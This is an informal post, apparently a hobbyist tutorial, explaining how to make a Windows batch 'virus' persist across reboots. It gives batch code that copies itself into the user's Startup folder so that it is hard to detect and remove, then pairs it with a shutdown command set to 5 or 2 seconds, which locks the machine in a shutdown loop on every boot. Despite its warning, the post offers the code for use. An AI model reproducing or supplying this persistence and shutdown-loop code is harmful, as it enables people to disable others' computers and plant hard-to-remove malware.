Virus on Startup

Warning!!!!  
This virus is very dangerous so i never recommend you to run these viruses on your system.
 
Using this post you can add your own created viruses into start ups this will make it difficult to detect them and to remove them ...

1) For this u can use the simple code below ..

       @echo off
       copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 
and  then rest of the code ..

2) Suppose u want to make a shutdown.bat a virus which will copy itself in start up n whenever computer starts it will shut down it in 2 secs..most dangerous kind of thing better to make create restore point before working with such files..

        @echo off
        copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

       @echo off
        shutdown -s -t 5 -c "Shutdown"
save it as abcd.bat when ever u will run it it will be saved in ur start ups..

here t 5 means that ur comp will take5 secs to shut down u can make it 2 as well then it will be most dangerous thing to handle ..